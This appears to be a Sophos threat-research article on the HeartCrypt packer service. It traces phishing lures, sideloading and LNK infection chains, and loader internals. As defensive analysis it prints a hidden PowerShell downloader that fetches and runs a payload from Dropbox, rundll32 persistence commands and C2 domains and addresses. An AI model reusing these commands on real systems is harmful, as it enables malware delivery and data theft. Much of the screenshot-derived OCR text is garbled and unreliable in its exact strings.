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HeartCrypt’s wholesale impersonation effort

1 9/26/2025

Over the past year and a bit more, we’ve monitored a constellation of events that share a set of general attributes:

* Malware impersonating, subverting, and embedding itself in legitimate software applications

« Position-independent loader code (PIC) injected near package entry points, overwriting the original code
¢ Encrypted malicious payloads inserted as an additional resource

¢ Use of a simple encryption algorithm (XOR), with a static key using ASCII characters

* Payloads belonging to common RATs (remote-access Trojans) or credential/info stealer families

* Password-protected archives hosted in Google Drive (on a compromised account) and linked from email

We ultimately concluded that these cases were all connected to what has come to be known as the HeartCrypt
packer-as-a-service (PaaS) operation. After publishing multiple articles on specific investigations, in this post we take
a deeper dive into our cumulative findings, and see glimpses of the malware as a young pest.

The industry was watching

Along the way, there was credible evidence that these attacks could be attributed to a single threat actor. At one point
it was thought HeartCrypt was a product of the group CrowdStrike calls “Blind Spider,” whose targets had some
geographic overlap with the cases we analyzed. Ultimately, though, there were enough differences (different
payloads, different payload injection mechanisms, different targeted locations) for us to discern that these efforts
belonged to multiple threat actors. (And it wasn’t only Sophos looking of course; scrutiny of this PaaS has come from
many quarters over the course of its deployment, notably an excellent early writeup from CrowdStrike.)

In other words, the accumulated dataset of these attacks is not small. Over the course of Sophos’ investigations, we
evaluated literally thousands of samples, caught glimpses of nearly 1000 command-and-control (C2) servers,
identified well over 200 impersonated software vendors large and small, saw countries in every hemisphere targeted,
and wrote about it. And though HeartCrypt is practically old hat in infosecurity circles — the authors of this post are
speaking at this week’s Virus Bulletin on up-and-coming young “EDR killers,” based in part on what this data revealed
to us — HeartCrypt is still causing heartburn worldwide. A look at the specifics may help make it clear how and why.

The targets: Initial incident

It all started (for Sophos at least) with a HeapHeapProtect alert:
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Mitigation DynamicShellcode
Policy HeapHeapHooray
Timestamp 2024-03-25

The process trace showed the execution of the following executable:

Path: c:\Windows\DvOy70b8ALMzQX.exe

SHA-256 51397bb18e166c933fe090320ec23397fed73b68157ce86406db9f07847d355
SHA-1 7c0cdd66e350dd1818333cd7a5ac04db07dd96al

MD5 254b7ccad0f9e624b21841f60bff0919

The process trace further revealed:

1 C:\Windows\DvOy70b8ALMzQX.exe [10220]
2 C:\Windows\System32\cmd.exe [6544] *
cmd.exe /C command.cmd
3 C:\Windows\AdminArsenal\PDQDeployRunner\service-1\PDQDeployRunner-1.exe [37164] *
4 C:\Windows\System32\services.exe [1264] *
5 C:\Windows\System32\wininit.exe [1192] *
wininit.exe

The interesting thing about it was that the executable was originally a CCleaner component (PDB path
(H:\Piriform\CCleaner\branches\v5.22\bin\CCleaner\Release\CCleaner.pdb), which contained injected malicious
code. (To be clear, CCleaner and every other legitimate application mentioned in this post — and there will be many —
is just one more innocent victim in this situation.) The executable also had valid version information, as shown in
Figure 1:

": f51397bb18e166c933fe090320ec23397fed73b6!

General Compatibility Security Details  Previous

&b

Property Value

D ipti
f51397bb18e166 -escrlp l.Or.l

File description CCleaner
€933fe090320ec L

Type Application
LIS Fileversion  522.0.5724
57ce86406dbof...

Product name CCleaner
Product version 5,22, 00, 5724

X Copyright Copyright © 2005-2016 Piriform Lid

\O0ps Size 8.02 MB
Figure 1: A compromised instance of CCleaner was our Patient Zero

We started to investigate the case, and the search for additional samples led to a few thousand similar binaries
during this research.

Infection chain

In some cases, we could fully or partially recover the infection chain. The different infection chains were targeting
different countries — a sign that they were done by different threat actors using their own favorite methods. This
indicated to us fairly early in the process that the entity we were seeing was an *-As-A-Service offering — in this case,
a packer that could be customized with relative ease.

Phishing email with side loading

In the first case we’ll examine, the identified campaign targeted Italian users.

The infection chain uses DLL sideloading to execute the malicious DLL. A PDF reader application loads msimg32.dll
from its own directory instead of the system directory and thus executes the payload loader injected into the DLL. The
impersonated component is a Windows DLL library.

This infection chain starts with a phishing email such as this one:
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© i there are problems with how this message is displayed, dick here to view it in a web browse
From: Sent: Sun 11/17/2024 1129 PM
Te
Subject I [info] Motifica di cessariane della violazione dei diritti di propriets intellettusie
Gentili Signe
Mi chiamo Paola Zini € 5050 un avvocato presso lo studio legale NCTM Studio Legale, in rappresentanza della societa Live Nation Italy. Cun ls presente, desideo chiedere
corfesemente una revisione urgente dei contenmti delle immagini e def video pubblicati sulla vostra plattaforma, in quanto ¥i sono sospefti di vinlazione st disitti d'antore legati

alla nostra azienda.

Desideriamo fornire informazioni dettagliate in merito alla presunta violazione come segue:

Dettagli della violazione:

Nome della pagina: Alpecin
ID Facebook: 1040797609325730
Contenuto in violazions dei diritti dautore : Immagini & suono del video

Titolare dei diritti dautare: Live Matian Italy

Allego il file PDF contenente le prove relative alla violazione dei nostri diritti d'autore:

Prove raccoite dallincidente di violazione: .paf

Secondo la legge sul copyright della Polonia & le normative pertinenti, richiedizmo che rimuoviate immedistamente i contenuti che violano i diritti d'autore e cessiate ln

pubblicazione di contenuti simili. Vi chiediame di rimuovere tali contenuti entro 45 ore dalla ricezione di questa comunicazione. phUSX ODS

Figure 2: A threatening-sounding letter hides something even worse: This email claims to be from an Italian lawyer
contacting the recipient about alleged copyright infringement, but the PDF at the bottom has other ideas

When clicked on the link to the PDF document, the following shortened URL is opened:
hxxps://t[.]1ly/flIWG16112024
This redirects to the following Dropbox download:

hxxps://ucb8c68b6c4ab89f35d7d8df1884.dl.dropboxusercontent[.]com/cd/0/get/CepnFUCVNXx2PfmQ6yVoWeiZBsgmcXs#
dl=1#

The file that was downloaded from this URL is a ZIP archive:

8e1130e9215bal2afebe7c57d26b7d10d0d11060c904d644bff3fd1lbf29df99b *Notifica di
violazione dei diritti di propriet.. intellettuale,1611 LDK 31[.]zip

The name of the ZIP file matches the theme and language of the social engineering used in the initial phishing email.

The ZIP archive contains the following three files:

- o x
“ Notifica di violazione dei diritt X+
< o~ C ) > - temp > Notifica diviolazione dei diritti di propriet... intellettuale, 1611 LDK 31 Search Notifica di violazione dei dit = Q
Sophos
N Sort v = View 8 Extractall -Ops[‘j) Details

£ Home Name Type Compressed... Password .. Size Ratio Date modified

R Gallery ¥ msimg32.di Application extension 24271K8 54% 11/14/2024 807 PM
@ OneDrive [®] Notifica di violazione dei diritti di proprieta intellettuale, 1611 LDK 31 Application 6,217 24 11:07 PM

renamethus.rename RENAME File

Figure 3: Note the dicey DLL in the ZIP archive

08c7fb6067acc8ac207d28ab616c9ea5bc0d394956455d6a3eecb73f8010f7a2 *Notifica di
violazione dei diritti di propriet.. intellettuale, 1611 LDK 31.exe
d8f9475ac340f5c2c49bced22bd76c42076e31f4016684314d0560e76568ad15 *msimg32.d1ll
dcf81f648ee6d097226d3c885561c34bb22e738501e410410afce9787bd43009 *renamethus.irename

The second DLL is the impersonated carrier (nwdll, from the NW.js community) with the payload and the loader code
injected. The second file is a clean loader (Haihaisoft PDF Reader, renamed to match the name of the ZIP file). The
third file is a decoy PDF file.

During replication there was no sign that the decoy PDF content was ever attempted to be displayed. No wonder — it
is just a large test file. There would be no point in displaying it.
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TESTFILE.ORG

Figure 4: There is no point in looking at the decoy file, but if one did, it would look like this — plus 99 more pages

However, the DLL file as a standalone component — this time, not part of a sideloading scenario — is copied to
C:\Users\{user}\OneDrive\Documents\AvivaUpdate_0001.dll, padded with zero bytes to the size of 950 MB, and
registered for startup with the following command line:

rundl132.exe C:\Users\{user}\OneDrive\Documents\AvivaUpdate 0001.d11l,EntryPoint

Sophos
Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Ops
> PushNotifice Name Type Data
RADAR :ﬂ(De!ault] REG_SZ (value not set)
Run REG_SZ rundii32.exe C:\Users\@EOneDrive\Documents\AvivaUpdate_0001.dll EntryPoint
RunNotifica’ || ab)\icrosoftEdgeA... REG_SZ "C:\Program Files (86)\Microsoft\Edge\Applicati exe’ p-wind
RunOnce 2b|OneDrive REG_SZ "C:\Users\GEAppData\Local\Microsoft\OneDrive\OneDrive.exe" /background

> Screensaver.

Figure 5: A glimpse of the malicious registration
So, in the infection chain, the impersonated DLL is used in two different ways:

¢ During the installation phase it is executed by sideloading
¢ In the final infected state only the DLL file persists, executed by rundll32.exe

The extracted payload was a file with the SHA-256 hash
09bb6673b62ed69b38035c562752867ff16d0624df6b3b2abf24ac90b5fdabed

This turned out to be a Lumma Stealer variant. The extracted configuration contains the following C2 servers:

{

"czs": [
"fleez-inc.sbs",
"crib-endanger.sbs",
"faintblOw.sbs",
"pull-trucker.sbs",
"bored-light.sbs",
"agreementyn.cyou",
"thicktoys.sbs",
"300snails.sbs",
"3xclaimblOw.sbs"

Sophos

-0ps

Figure 6: In this case we saw nine C2 servers. The .SBS top-level domain, for those unfamiliar with it, launched about
five years ago and was designed to support small businesses engaged in social welfare support or philanthropy

Phishing email without side loading

In the next case we'll review, the identified campaigns were targeting victims in Colombia — as mentioned above a
popular target for the Blind Spider threat adversary, which caused us to wonder if HeartCrypt had more than a
passing affiliation with that group. The malicious content was hosted on a Google Drive in a password-protected ZIP
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archive; the password was included in the phishing email. The impersonated carrier this time is a standalone

Windows executable.

We were able to retrieve a copy of the original email:

Subject

Figure 7: This time the email appears to have information from the Attorney General of Columbia concerning

;i o>

Sent Thu 11/28/2024 10:03 AM
undisclosed-recipients:

001- Circular Proceso Judicial Rad. 23001461299320240019100 Procuraduria General.

&1

Cordial saludo,

De manera atenta, me permito informarle que dentro del proceso con numero de radicacion No
23001461299320240019100, se emitid

Sentencia con fecha 28 de noviembre de 2024 en el asunto de la referencia.

PUEDE CONSULTAR PDF DE SENTENCIA DE TUTELA EN LA PARTE INFERIOR .
CLAVE DE ACCESO: 7771

Cordialmente,

Jup
i ‘o,
L Q

By \G I

3 2 5 Sophos

.

ot -0ps

Por favor no imprima este correo electronico a menos que sea necesario / Ahorre Papel. Se han omitido las fides y caracteres especiales para efectos de compatibiidad,

Jjudgment in a particular federal case; can you spot the download link?

The email contains the password for the ZIP file (in this case, 7771).

The message also contains a well-hidden download link — in this case the dot at the end of the text — which was the

anchor to the next stage:

o electronico a menos que sea necesario / Aharre Pidiick to follow link

SophosXOpS

-aracteres especiales para efectos de compatibilidad.

Figure 8: There it is — a single period at the end of a sentence in the message boilerplate is actually an entire

download link

The link points to another Google drive location, where a password-protected ZIP archive is shared:

drive.usercont

Sophos

-Ops

ent.google.com/download?id - UGG ¢ < ot = download&authuser=0

Google Drive cannot scan this file for viruses.

00001 -Circular Proceso Judicial Rad. 2 G
Procuraduria General.zip (674k) is encrypted or multi-volume archive. Are you
downloading the file knowing this?

Definitely a download
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Figure 9: Google Drive’s antimalware scanning tools were not able to engage with the download, but they did identify
that something was odd about the file

The name of the ZIP archive matches the theme and language of the initial phishing email. The file itself contains an
executable (00001-Circualr Proceso Judicial Rad. 23001461299320240019100 Procuraduria General.exe; note typo
in filename) with the following hashes:

70feac3064249f2c3773ed2a044cb9f6e644961fe8f51e9c742d2979c6e562a3 *00001-Circualr
Proceso Judicial Rad. 23001461299320240019100 Procuraduria General[.]exe

d2d00439c7d7961d3146cc0df9ed4abc78a6174a739019185c75f94705e0b8b2 *00001-Circualr

Proceso Judicial Rad. 23001461299320240019100 Procuraduria General.[]lzip

When the archive is unpacked and the executable in the ZIP is run, it creates a copy of itself in the
%USERHOME%\Videos\Cylance\Bin directory. This copy has a large number of zero bytes appended at the end,
inflating it to 934MB size.

C J > -+ localDisk(C:) > Users » Videos > Cylance > Bin

Sophos
18] @D ® W N sort = View ~ .o XODS

~

Name Date modified Type Size

— Cylance 12/20/2024 4:34 AM Application 956,609 KB

Figure 10: Taking Cylance’s name in vain
This copy is registered to run automatically at each system startup, thus establishing persistence:

I Autoruns - Sysinternals: www.sysinternals.com (Administrat Sophos

-0ps

File Search Entry User Options Category Help

EERODLE A 0 BEESY] | » o

C Applnit [ Known DLLs 5 Winlogon B Winsock Providers @& Print Monitors @ LsAProviders & Network Providers [}
B Everything B Logon #  Explorer £ Internet Explorer [2 Scheduled Tasks - Services G Drivers 3 Codecs of Boot Execute
Autoruns Entry Description Publisher Image Path
) Logon
B HKCU\SO
= Cvlance (Not Verified) Qse fideos\Cylance\Bin\Cylanceexe

Figure 11: Once again, the malware makes a home for itself on the target’s hard drive

This time, the payload is AsyncRAT. The extracted config is:

{
vy [
"94.103.125.231"
1,
i .
"2626"
1,
: "1.0.7",
: "AppData%",
: "aGtwWDUxVk5jaHNONkhybEZWbVAXRGx1SUcwbEJzVFc=",
: "false",

1 :
"MIICMDCCAZMgAWIBAGIVAIGBZ6Y+7g72nikjFjRUrU+Wle 6pMAOGCSqGSIb:
BEGA1UECWWKcXdxZGFuY2hlbjEcMBoGA1UECgWTRGNSYXQgQnkgcXdxZGFuY:

Phishing email with LNK shortcut file

For the next case we’ll examine, we return to Italy. The identified cases of these campaigns were targeting Italian
victims and feature a LNK shortcut file, PowerShell, and batch scripts in the infection chain.

The chain started with a phishing email like this:
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Subject: Notifica di Violazione dei Diritti di Proprieta Intellettuale - Caltagirone Editore

(54

Caltagirone Editore

Gentile info@flexformit,
Siamoi rappresentanti legali della societ Caltagirone Editore. Abbiamo constatato che questo contenuto & stato utilizzato o distributto senza 1l
nostro permesso sui vostri social media, senza il nostro consenso. Questo viola le normative sulla protezione del diritta d'attore seconde 1a T agge
sulla Proprieta Intellettuale in vigore.
Dettagli della violazione:

o Nome utente: FLEXFORM

= ID Facebook: 217270115046517

Titolare dei diritti d'autore: Caltagirone Editore
Data della violazione : 6 dicembre 2024

! Segnalazione di violazione dei diritti di proprieta intellettuale.pef

Richiesta di azione immediata:

Si prega dli rimuovere immediatamente il contentsto in vinlaziona & di confermara con noi entro 48 ore dal riceviments di questa
comunicazione. In caso contrario, adotteremo le necessarie misure legali per tutelare i nostri diritti.

Interrompere immediatamente I'uso di tutto il contenuto relativo ai nostri matcriali protetti da copyright.

Si prega di fornire prove entro 72 ore dal ricevimento della notifica per confermare che le musure sopra descritte sono state adottate,

©w N

Se hai domande o hai bisogno di ulteriori informazioni, ti preghiamo di contattarci via cmail o tramite il sito web sottostante.

Cordiali saluti, Caltagirone Editore
Via Basberini 28 - W18/ Roma | +39 06 42412200 | www caltagiconeeditors.com
Sophos

" -Ops

Gmail-Powered Email Marketing

Figure 12: Back to Italy, back to maliciously crafted emails claiming copyright infringement. Caltagirone Editore is an
Italian media company — again, in no way connected to HeartCrypt except as an innocent victim of reputation theft

This contains a shortened link :
https://t.ly/PWWX9
Which points to a file hosted on Dropbox that appears to be a PDF file:

https://uc3495fach23fe98be63edb80cdd.dl[.]dropboxusercontent. com/cd/ 0/ ge T/ C o
dl=1#

But the downloaded file is really a ZIP archive named Registro delle violazioni dei diritti d’autore.zip. Once again this
matches the theme and language of the initial phishing email.

The content of the archive is a large junk data file and an LNK shortcut file:

SophosX—OpS
> temp > Registro delle violazioni dei diritti d'autore > Registro delle violazioni dei diritti d'autore v
Name Type Compressed size Password p...
noreplyy File 143,450KB  No
Registro delle violazioni dei diritti ... ~ Shortcut 2KB No

Figure 13: The junk file is named in such a way as to draw the target’s attention to the relatively tiny LNK file

The shortcut file has the icon of a PDF file, but it really executes a PowerShell command.

Earlier this week (1)

sm Registro delle violazioni dei diritti d'autore Properties X
Colours Terminal Security Details Previous Versions
General Shortcut Options Font Layout
im Registro delle violazioni dei diritti d'autore

(o

Registro delle violazioni dei diritti d'autore Target type: Application

Target location: System32

SOphOSX' OpS Target: ‘j_exe Jc pOwleRsHeLL -windoWStYLe hiDdeN -c sel

Figure 14: Not really a PDF. Note the peculiar capitalizations in the command string
This PowerShell command downloads and executes another PowerShell script from

hxxps://7bz5ncObdyga37scjk9otosvcvcl5wyc.ngrok[.]app/api/secure/28116973ac5fdc1458ff89e92d1259c2

Start-Process msedge.exe -ArgumentList "

"; $RandomFileName = " : G jom) "; IWR -Uri

|
=fudtfxgkimiyh av45ir&edl=1" -YO
1 $RandomFileName; \OPs

OutFile SRandomFileName; start SRandomFileName; Start-Sleep -s ©
Figure 15: We see Dropbox abused for a second time

This script downloads two further files. The first is a decoy PDF file:
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@, © LEWIS SILKIN

Lewis Silkin LLP
Arbor, 255 Blackfriars Road, London, SE1 9AX

Subject: Cease and Desist Letter — Copyright lnfri:rrxgemem of Domino Records' Music

We write to you on behalf of our client, Domino Records, a leading record label that holds
copyright in a catalogue of internationally recognized music recordings. Domino has instructed
us regarding your unauthorized use, distribution, or reproduction of music owned by Domino in
breach of its copyright under the Copyright, Designs and Patents Act 1988.

Nature of the Infringement

It has come to our client's attention that you have describe the specific infringement uploaded,
reproduced, or distributed the songs titled without obtaining the necessary permissions from
Domino. Such actions constitute a clear violation of Domino’s exclusive rights as the copyright
holder under Section 16 of the Act.

Legal Consequences

Under UK copyright law, unauthorized use of protected works entitles the copyright owner to
pursue legal remedies, including but not limited to:

1. An injunction to prevent further infringement.

2. Damages or an account of profits arising from the infringement.

3. An order for the delivery up or destruction of infringing copies; and
4. Recovery of legal costs.

Cease and Desist Demand Sophos
To avoid legal action, you are required to: -Ops

Figure 16: A change in language and alleged infringement, this time claiming that the target has infringed the rights of
a British music label (Domino Records, yet another innocent victim here — note that the letter fails even to say what
the target has “infringed” on, not to mention the typo [which may be a cut-and-paste error by the attacker])

The second is a downloader batch file, downloaded from:

hxxps://www.dropbox[.]com/scl/fi/etndtbojizgq5yjlcrtxt/loader.txt?
rlkey=fudtfxqgkimiyh7j8v58av45jr&dl=1

@Gecho off
pOowe -WindowStyle Hidden -Command *

"$RandomPDF = \"$env:temp\$ (Get-Random) .pdf\"; $RandomEXE = \"$env:temp\$ (Get-Random) .exe\"; IWR -Uri
'https://www.dropbox.com
/scl/fi/sirgrhSwcotr94vrt7udy/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaiclrpangjdd8k9m&dl=1' -OutFile
$RandomPDF ; Start-Process msedge.exe -ArgumentList \"--kiosk $RandomPDF\" ; IWR -Uri

'https://www.dropbox.com/scl/fi/c9wj8bkslgnSek1112d2b/runner.exe?rlkey=vautlrypigs3sxdéjabnh8gdi&dl=1"
-OutFile $RandomEXE ; start $RandomEXE"

it ' sophos)f Ops

Figure 17: The malware dips into a trove of presumably stolen or “found” PDFs and sends one at random as a decoy
— in this case, the letter shown in Figure 16

The downloader batch file once again downloads and opens the decoy PDF file, and also downloads and executes
the final payload from:

hxxps://www.dropbox[.]com/scl/fi/c9wj8bkslgn5ek1112d2b/runner.exe?
rlkey=vautlrypiqgs3sxd6jabnh8gdi&dl=1

The final payload in cases like this one was usually Rhadamanthys.

In this specific case it was possible to get stats from t.ly, which showed that the shortened URL was accessed 44
times (39 of those unique). Almost all of them (33) came from lItaly; the rest might well have been coming from
malware analysts around the world, including us.
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Sophos
-0Ops

Figure 18: The heat map of URL accesses is rather focused

Another similar campaign had an initial link pointing to

hxxps://t[.]1ly/FkiVa

There were 93 visits to this URL, 81 of them from (again) Italy.

Under the hood: Modified executables

The HeartCrypt packer takes legitimate executables and modifies them by injecting malicious code in the .text
section. It also inserts a few additional Portable Executable (PE) resources. These resources are disguised as bitmap
files and start with a BMP header, but afterwards the malicious content follows.

In a 2024 article, this loader was named HeartCrypt by Unit42. The malicious code is added as a continuous block of
code inside the .text section where control flow has been hijacked, so it gets executed right from the start. As Unit42
highlighted, this code block is designed as position-independent code (PIC), a programming construct in which the
code’s location in memory doesn't affect its execution.

Inside the loader

Code is highly obfuscated by hundreds of direct jumps and short calls. They exist only to obfuscate code flow. Junk
bytes fill in the gap between these JMP & CALL, making it tricky to reverse-engineer.

sub_so8726 o sub_s08TI6

1oc_sosacs

1oc_sasecs CODE XREF: sub_408726119613
o

3]

+ Dacoded PIC starts hare

1332 111111

3322

Sophos

COps

1oc_sonarz

locssssers ; cooe xaer: e b_so8726010815

BRIRTIRIERRNRESRERIRACONY

Figure 19: Junk bytes such as those shown above take time to analyze and disguise what’s actually happening

As described in the article, the PIC would decode a second level of PIC. Figure 20 shows a “before and after”
screenshot of the same binary that shows the decoded PIC.
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Figure 20: A cleaner view of the proceedings moves the obfuscating code out of the way

The second level code is still difficult to read, but with the help of the stack strings that are now revealed we can
make some sense of it. For instance, it performs various anti-emulator checks by trying to load nonexistent dynamic
link libraries (DLLs) such as k7rn7132.dll and ntd3lIl.dll, as shown in Figure 21:

LISIUIGYHRAILET LD 03 1> U FT rr uo mov vyLe pur |eop-zoung, ©
.FSrc:004A31F6 BA 6B €0 00 @0 mov edx, 6Bh ; 'k' ; k7rn7132.d11
.rsrc:@84A31FB 66 89 95 A@ F7 FF FF mov [ebp-86@h], dx
.rsrc:@04A3202 B8 37 00 00 00 mov eax, 37h ; '7'
.rsrc:@04A3207 66 89 85 A2 F7 FF FF mov [ebp-85Eh], ax
.rsSrc:004A320E B9 72 00 00 ee mov ecx, 72h ; 'r'
.rsrc:@04A3213 66 89 8D A4 F7 FF FF mov [ebp-85Ch], ¢x
.rsrc:@e4A321A BA 6E €6 60 ee mov edx, 6Eh ; 'n’
.rsrc:@04A321F 66 89 95 A6 F7 FF FF mov [ebp-85Ah], dx
.rsrc:@04A3226 B8 37 66 00 @0 mov eax, 37h ; '7'
.rSrc:@84A322B 66 89 85 A8 F7 FF FF mov [ebp-858h], ax
.Psrc:@04A3232 B9 6C @0 00 oo mov ecx, 6Ch ; "1’
.rSrc:@84A3237 66 89 8D AA F7 FF FF mov [ebp-856h], ¢x
.PsSrc:@84A323E BA 33 €0 00 e mov edx, 33h ; '3’
.rsrc:004A3243 66 89 95 AC F7 FF FF mov [ebp-854h], dx
.rsrc:@04A324A B8 32 00 00 0@ mov eax, 32h ; "2
.rsrc:@04A324F 66 89 85 AE F7 FF FF mov [ebp-852h], ax
.rsrc:@84A3256 BS 2E €@ o0 ee mov ecx, 2Eh ; ".'
.rsrc:@e4A3258 66 89 8D Be F7 FF FF mov [ebp-856h], cx
.rsrc:004A3262 BA 64 00 00 00 mov edx, 64h ; 'd’
.rsrc:@84A3267 66 89 95 B2 F7 FF FF mov [ebp-84Eh], dx
.rsSrc:@B4A326E B8 6C €0 00 80 mov eax, 6Ch ; "1’
.Psrc:@84A3273 66 89 85 B4 F7 FF FF mov [ebp-84Ch], ax
.PSrc:004A327A B9 6C €@ 00 ee mov ecx, 6Ch ; "1’
.rsrc:@04A327F 66 89 8D B6 F7 FF FF mov [ebp-84Ah], cx
.rsrc:@84A3286 33 D2 xor edx, edx

.ISrc:@84A3288 66 89 95 B8 F7 FF FF mov [ebp-848h], dx
.rsrc:@84A328F 57 push edi

.I'Src:004A3290 56 push esi

.rsrc:@e4A3291 83 C4 04 add  esp, 4 Sophos
.ISrc:@e4A3294 81 C7 72 32 el @0 add edi, 13272h
.rSPC:@04A329A 81 CF 6A S5E @0 00 or edi, SE6Ah _Ops
.rsrc:804A32A8 81 CF B3 Co @6 @@ or edi, @ceB3h
.rSPC:004A32A6 SF pop edi

.rsrc:@04A32A7 56 push esi

.rPsPc:004A3248 81 EE 91 9F 08 00 sub esi, 9F91h
.rsrc:@04A32AE 81 C6 4@ D8 ee @0 add esi, @D84oh
.rsrc:@84A32B4 81 E6 FB FB @@ 00 and esi, @FBFBh
.rsrc:@04A32BA 81 EE 62 69 @1 @0 sub esi, 16962h
.rsrc:004A32C0 SE pop esi

.rsrc:@84A32C1 B8 6E €0 e9 ee mov eax, 6Eh ; 'n' ; nt31l.d11
.rsrc:004A32C6 66 89 85 2C F8 FF FF mov [ebp-7D4h], ax
.rsrc:004A32CD B9 74 00 00 00 mov ecx, 74h ; 't
.rsrc:@e4A32D2 66 89 8D 2E F8 FF FF mov [ebp-7D2h], cx
.rsSrc:@04A32D9 BA 64 €0 00 e mov edx, 64h ; 'd’'
.Psrc:@04A32DE 66 89 95 30 F8 FF FF mov [ebp-7Déh], dx
.rsrc:@04A32ES B8 33 €0 00 ee mov eax, 33h ; '3’
.rsrc:@84A32EA 66 89 85 32 F8 FF FF mov [ebp-7CER], ax

nenc GOAAZIEA RG &F GO GO GO mer arv A&fh - 10

Figure 21: The code calls a DLL it does not expect to find

Behavioral logs, such as those available from VirusTotal, show the attempt by the loader to load these nonexistent
DLLs, as shown in Figure 22.

Files Opened

@ C:\Program Files (x86)\Common Files\Oracle\Java\javapath\k7rn7132.dll

@ C:\Program Files (x86)\Common Files\Oracle\Java\javapath\ntd3lLdll

@ C:\Program Files\Google\Chrome\Application\chrome VisualElementsManifest.xml
®

]

C:\Program Files\Unrar\k7rn7132.dll SophOSXOpS

C:\Program Files\Unrar\ntd3lL.dll

Figure 22: Well, it tried

This sample then uses the anti-emulation technique that was observed in Raspberry Robin, which consists of
retrieving the address of a function exported by kernel32 that only exists in emulators:
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e N i mimey = awe,
16 *(_woanlz@tﬂ - 1744) = o; Sophos
17| strepy((char *)(al - 76@), "MpVmp32Entry"); -OpS
18| strepy((char *)(al - 716), "MpVmp32Entry");
19| strepy((char *)(al - 812), "MpReportEventEx");

)

)

)

“

20| strepy((char *)(al - 732), "MpSehHandler");

21| strepy((char *)(al - 796), "MpStartProcess");

22| strepy((char *)(al - 868), "MpSwitchToNextThread");

23| *(_DWORD *)(al - 1876) = NtCurrentTeb();

24l ¥( DWNRND ¥Y(a1 - 1RRAY = ¥ DWORN KK DWORND ¥V(21 - Figyre 23: The princess... erm, the function...

is in another castle

If either the nonexistent or the emulator-only imports are successfully resolved, the loader concludes that it is running
in an emulated environment and will not perform malicious activities.

The PIC code in the .text section is executed first, then transfers execution to the PIC code located in one of the
resources. It looks for a specific marker as shown in Figure 24:

B DA View-A o » Occurrences of: * @ Pseudocode-A ®  Occurrences of: ptr [ebp- ) Hex View-1
.text:0041E81F 3C 42 cmp al, 42h ; 'B
.text:0041E821 41 inc ecx
.text:@041E822 81 C1 FF 53 00 00 add ecx, 53FFh
.text:0041E828 81 C1 76 84 6@ 00 add ecx, 8476h
.text:@041E82E 59 pop ecx
.text:@@41E82F C6 85 74 F4 FF FF 32 mov byte ptr [ebp-888Ch], 32h ; '2' ; Pe-Resource Marker
.text:0041E836 C6 85 75 F4 FF FF 6F mov byte ptr [ebp-e888h], 6Fh ; ‘o'
.text:0@41E83D C6 85 76 F4 FF FF EE mov byte ptr [ebp-888ah], @EEh
.text:0041E844 C6 85 77 F4 FF FF EE mov byte ptr [ebp-e83ch], @EEh
.text:0@41E848 C6 85 78 F4 FF FF DE mov byte ptr [ebp-@888h], @DEh
.text:@041E852 C6 85 79 F4 FF FF 76 mov byte ptr [ebp-@887h], 76h ; V'
.text:@041E859 C6 85 7A F4 FF FF DE mov byte ptr [ebp-@B86h], @DEh
.text:0041E860 C6 85 7B F4 FF FF 13 mov byte ptr [ebp-e885h], 13h
.text:0041E867 C6 85 7C F4 FF FF 6F mov byte ptr [ebp-e884h], 6Fh ; ‘o' Sophos
.text:@@41E86E C6 85 7D F4 FF FF 13 mov byte ptr [ebp-e883h], 13h
.text:@041E875 C6 85 7E F4 FF FF 32 mov byte ptr [ebp-@882h], 32h ; '2° _OpS
.text:@@41E87C C7 85 AC EB FF FF 0B 00+ mov dword ptr [ebp-1454h], @Bh

.text:0041E87C 00 00

' CFF Explorer VIl - [26d5629e80aa0bd3d327b929693da12e11fd34415015d6b139f3f27ffd671bc1]
File Settings ?

ii @ 50 Bitmaps

5629 802a0bd3d327p9| * ) 1cons b o= wr
12011d34415015d6b1:| + D Menus

@) Dialogs Offset 0 1 2 3 4 5 6 7 8 9 A4 B C D E F
d671bcl @2 String Tables 00002A90 [ 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07
@ Dos Header -5 Accelerators 00002AA0 | 07 07 07 07 07 07 07 07 072 07 07 07 07 07 07 07
@ Nt Headers 00002ABO0 | 07 07 07 07 07 07 07 07
@ Fle Header $-QQ lon Groups 00002AC0 | EEJWMER S5 8B EC 81 EC EC O0A 00 00 C7 85 80 FD
0 2 Verson Info 00002400 | FE FF 00 00 00 00 EO 00 00 00 00 B8 02 00 00 00 |y "
{5 Optional Header s02 00002AEO | 58 89 85 80 FD FF FF 56 81 E6 3B 5C 00 00 ES 0A | XIIIG9yV =3 &
@ Data Drectores b} ) DENGENOWOL" - [ang:| | 00002AF0 | 00 00 00 00 37 3A 35 41 3E 38 46 32 46 83 C4 04 7:5A)8E2F1A0
@ Socton Headers kI |[00002B00 | 81 CE 33 FE 00 00 SE 57 57 83 C4 04 81 F7 A2 31 | 13p, . “WWik o1
=02 00002B10 | 00 00 81 C7 CF 96 00 00 SF Cé 85 18 FC FF FF 52 0 uyyR

[ 4 ]
00002B20 | C6 85 19 FC FF FF B9 Cé 85 1A FC FF FF 10 C6 85 | E§0 uyy &N0 uyyi £1
00002B30 | 1B FC FF FF 10 C6 85 1C FC FF FF 10 Cé 85 1D FC |O0uyyd £l uyyd €1 u
00002B40 | FF FF 10 Cé 85 1E FC FF FF SA 53 E8 08 00 00 00 | yy0 Bl uyyZSe
00002BS0 | 00 32 42 37 3A 3B 41 48 83 C4 04 81 E3 CO E4 00 2B7:AHIAD ZAa
00002B60 | 00 81 E3 A7 D1 00 00 SB 53 50 83 C4 04 81 C3 41 asN. . [SPikn XA
nnnA>R70 | DD AR AR SR S7 A1 FF 95 20 A1 A0 GF CA RS 10 FC | ¥ (0 580 Ema

) Expot Directory £ "DENGED" -
O import Directory ) "DEnGEL" -
O Resource Drrectory QO DENGEZ" -
(O Debug Drectory £ "DENGE3" - [lar
. Address Converter 2 DenGES -

Figure 24: The code seeks out a specific marker

The end goal is to decode the encrypted payload, then launch it. In this case the code uses API functions such as
CreateProcessW, VirtualAlloc, GetThreadContext, NtCreateThreadEx, and CreateRemoteThread to load and execute
the final payload.

1

2 \void _ usercall sub_4DFA65(int al@<ebx>, int a2@<ebp>)
3

4] strepy((char *)(a2 - 4420), "NtCreateThreadEx");

5| strepy((char *)(a2 - 7292), “"CreateRemoteThread");
6| *(_WORD *)(a2 - 18776) = 'C';

7| *(_WORD *)(a2 - 18774) = ':';

8| *(_WORD *)(z2 - 1@772) = "\\';

